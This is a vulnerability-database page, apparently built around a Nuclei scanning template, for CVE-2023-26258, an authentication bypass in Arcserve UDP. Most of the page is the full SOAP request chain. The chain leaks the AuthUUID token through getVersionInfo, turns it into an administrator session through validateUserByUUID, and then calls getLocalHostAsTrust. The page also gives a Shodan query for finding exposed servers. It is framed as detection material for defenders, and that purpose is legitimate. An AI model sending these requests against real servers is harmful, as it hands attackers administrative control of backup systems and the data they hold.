🔙 목록으로 돌아가기

CVE-2023-26258: Arcserve UDP <= 9.0.6034 - Authentication Bypass

TitleArcserve UDP <= 9.0.6034 - Authentication Bypass
Authordaffainfo
SeverityCritical
ImpactUnauthenticated attackers can bypass authentication by leaking the AuthUUID token, allowing them to execute any administrative task and potentially compromise all backup data managed by Arcserve UDP.
RemediationUpgrade to Arcserve UDP version 9.1 or later that addresses this authentication bypass vulnerability.
CVSS Score9.8
EPSS Score0.73541
CVE IDCVE-2023-26258
CWE IDCWE-863
Shodan Queryhttp.favicon.hash:-1889244460
Tags cve cve2023 arcserve auth-bypass vkev vuln

🔍 Vulnerability Description

Arcserve UDP through 9.0.6034 allows authentication bypass. The method getVersionInfo at WebServiceImpl/services/FlashServiceImpl leaks the AuthUUID token. This token can be used at /WebServiceImpl/services/VirtualStandbyServiceImpl to obtain a valid session. This session can be used to execute any task as administrator.

🌐 HTTP Request

POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Content-Length: 1013
Content-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?>

<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">

  <S:Body>

    <ns2:getVersionInfo

        xmlns:ns2="http://webservice.arcflash.ca.com"

        xmlns:ns3="http://backup.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns4="http://data.webservice.arcflash.ca.com/xsd"

        xmlns:ns5="http://export.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns6="http://vsphere.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns7="http://browse.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns8="http://restore.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns9="http://catalog.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns10="http://activitylog.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns11="http://remotedeploy.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns12="http://history.job.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns13="http://webservice.edge.arcserve.ca.com/"/>

  </S:Body>

</S:Envelope>

POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Content-Length: 1076
Content-Type: text/xml
SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?>

<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">

  <S:Body>

    <ns2:validateUserByUUID

        xmlns:ns2="http://webservice.arcflash.ca.com"

        xmlns:ns3="http://backup.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns4="http://data.webservice.arcflash.ca.com/xsd"

        xmlns:ns5="http://export.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns6="http://vsphere.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns7="http://browse.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns8="http://restore.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns9="http://catalog.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns10="http://activitylog.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns11="http://remotedeploy.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns12="http://history.job.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns13="http://webservice.edge.arcserve.ca.com/">

        <arg0>pYSVXk</arg0>

    </ns2:validateUserByUUID>

  </S:Body>

</S:Envelope>

POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.12
Connection: close
Content-Length: 1069
Content-Type: text/xml
SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?>

  <S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">

    <S:Body>

      <ns2:getLocalHostAsTrust

        xmlns:ns2="http://webservice.arcflash.ca.com"

        xmlns:ns3="http://backup.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns4="http://data.webservice.arcflash.ca.com/xsd"

        xmlns:ns5="http://export.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns6="http://vsphere.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns7="http://browse.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns8="http://restore.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns9="http://catalog.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns10="http://activitylog.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns11="http://remotedeploy.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns12="http://history.job.data.webservice.arcflash.ca.com/xsd"

        xmlns:ns13="http://webservice.edge.arcserve.ca.com/"

      >

      </ns2:getLocalHostAsTrust>

    </S:Body>

  </S:Envelope>

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26258.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-26258.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A